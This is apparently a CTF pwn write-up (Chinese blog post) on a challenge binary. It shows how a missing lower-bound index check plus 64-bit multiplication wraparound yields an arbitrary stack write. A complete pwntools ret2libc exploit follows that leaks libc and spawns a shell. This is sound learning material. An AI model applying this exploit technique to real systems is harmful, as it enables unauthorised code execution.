记一次整数溢出

Snowcat Lv1

看起来很安全呢。

做了很多栈溢出的题目,这道不太一样。这本质上是数组下标越界漏洞,由于缺少对索引下限的检查,配合整数溢出达成了任意地址写。

1
2
3
4
5
6
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fc000)
Stripped: No

查看IDA:
有后门函数shell,不过没有"bin/sh"

1
2
3
4
int shell()
{
return system("id");
}

main()只有一些信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("Enter administrator's name:");
__isoc99_scanf("%9s", s);
puts("\n--------------------");
puts("Welcome:");
puts("\n");
puts(s);
puts("\n--------------------");
hacker();
return 0;
}

还有比较重要的hacker()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 hacker()
{
int j; // [rsp+8h] [rbp-78h]
int i; // [rsp+Ch] [rbp-74h]
__int64 v3; // [rsp+10h] [rbp-70h] BYREF
__int64 v4; // [rsp+18h] [rbp-68h] BYREF
__int64 s[11]; // [rsp+20h] [rbp-60h] BYREF
unsigned __int64 v6; // [rsp+78h] [rbp-8h]

v6 = __readfsqword(0x28u);
puts("Welcome to hacker's system\n");
puts("Now you can set hackers' age\n");
memset(s, 0, 0x50uLL);
for ( i = 0; i <= 9; ++i )
{
puts("Enter hacker index:");
__isoc99_scanf("%lld", &v3);
puts("Enter hacker age:");
__isoc99_scanf("%lld", &v4);
if ( v3 > 9 )
exit(0);
s[v3] = v4;
}
puts("Now let's see your creation:'");
for ( j = 0; j <= 9; ++j )
printf("%lld ", s[j]);
return __readfsqword(0x28u) ^ v6;
}

但是这里全部使用的是scanf而不是像read和gets这样的危险函数。很难进行栈溢出,这时注意到s[11]读取的逻辑是索引+内容,索引v3 > 9则退出,最多读10次。


以前做过的一些pwn题是填进去-1
计算机存储有符号整数时,不会直接存正负号,而是用补码表示:

  • 正数的补码 = 原码(直接是数字的二进制)
  • 负数的补码 = 对应正数的原码「按位取反 + 1」
    比如:
  • 64位整数__int64,-1会以0xFFFFFFFFFFFFFFFF储存
  • 32位整数即int,-1以0xFFFFFFFF
  • 8位整数,-1以0xFF表示

数组s位于rbp - 0x60,而函数返回地址位于 rbp + 0x08
s 的起始点到返回地址需要跳过多少个字节:0x08 - (-0x60) = 0x68,也就是104字节。
由于数组 s__int64 类型,每个元素占 8 字节,我们要找的索引 $v3$ 应该是:$104 / 8 = 13$
但代码里有 if (v3 > 9) exit(0);,直接输入 13 会导致程序自杀。

在 64 位系统中,内存地址计算是基于 64 位无符号数的。当你访问 s[v3] 时,底层汇编做的事情是:$\text{目标地址} = \text{数组首地址} + (v3 \times 8)$
比如:

1
2
3
4
mov     rax, [rbp+var_70]
mov rdx, [rbp+var_68]
mov [rbp+rax*8+s], rdx
add [rbp+var_74], 1

如果我们将 $v3$ 设为一个极大的负数,当它乘以 $8$ 时,结果会超出64位寄存器能表达的最大值,从而回到小的值
把 $2^{64}$ 这个“圆圈”想成一个巨大的数。我们要找的 $v3$ 实际上是:
$$v3 = (104 - 2^{64}) / 8$$

  • $2^{64} = 18,446,744,073,709,551,616$
  • $104 - 2^{64} = -18,446,744,073,709,551,512$
  • 除以 8:$-18,446,744,073,709,551,512 / 8 = -2,305,843,009,213,693,939$
    这就是那个魔法数字:-2305843009213693939

那么先测试一下,

1
2
3
4
5
6
7
8
9
10
11
12
shell = 0x4007e6
def send_payload(idx, val):
    p.sendlineafter(b"index:", str(idx).encode())
    p.sendlineafter(b"age:", str(val).encode())

magic = -2305843009213693939
p.sendlineafter(b"name:", b"snowcat")
send_payload(magic, shell)
for _ in range(9):
p.sendlineafter(b"index:", b"0")
p.sendlineafter(b"age:", b"0")
p.interactive()

这里将shell改成shell+1成功打印了id信息,因为需要跳过push rbp
说明可行。之后是想怎么执行”/bin/sh”,
这时想到main()中可以读9个字节,但是比较麻烦,想到已经可以在返回地址中写rop了,于是ret2libc。
笔者直接迷住了。
完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux','splitw','-h']
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('libc.so.6')
pop_rdi = 0x400a33
ret = 0x400631
hacker = 0x4007f7
main = 0x4008fc
start = 0x4006f0
magic = -2305843009213693939

def send_payload(idx, val):
p.sendlineafter(b"index:", str(idx).encode())
p.sendlineafter(b"age:", str(val).encode())

p.sendlineafter(b"name:", b"snowcat")
send_payload(magic, pop_rdi)
send_payload(magic + 1, elf.got['puts'])
send_payload(magic + 2, elf.plt['puts'])
send_payload(magic + 3, start)
for i in range(6):
send_payload(0, 0)
p.recvuntil(b"0 0 0 0 0 0 0 0 0 0 ")
leak_addr = u64(p.recv(6).ljust(8, b'\x00'))
log.success(f"Leaked puts address: {hex(leak_addr)}")

libc.address = leak_addr - libc.symbols['puts']
bin_sh_addr = next(libc.search(b'/bin/sh'))
system_addr = libc.symbols['system']

p.sendlineafter(b"name:", b"snowcat")
send_payload(magic, pop_rdi)
send_payload(magic + 1, bin_sh_addr)
send_payload(magic + 2, ret)
send_payload(magic + 3, system_addr)
# gdb.attach(p, "b 0x4008FA")
for i in range(6): send_payload(0, 0)

p.interactive()
  • 标题: 记一次整数溢出
  • 作者: Snowcat
  • 创建于 : 2026-02-19 12:00:00
  • 更新于 : 2026-05-19 22:35:01
  • 链接: https://sadsnowcat.github.io/2026/02/19/hacker/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
记一次整数溢出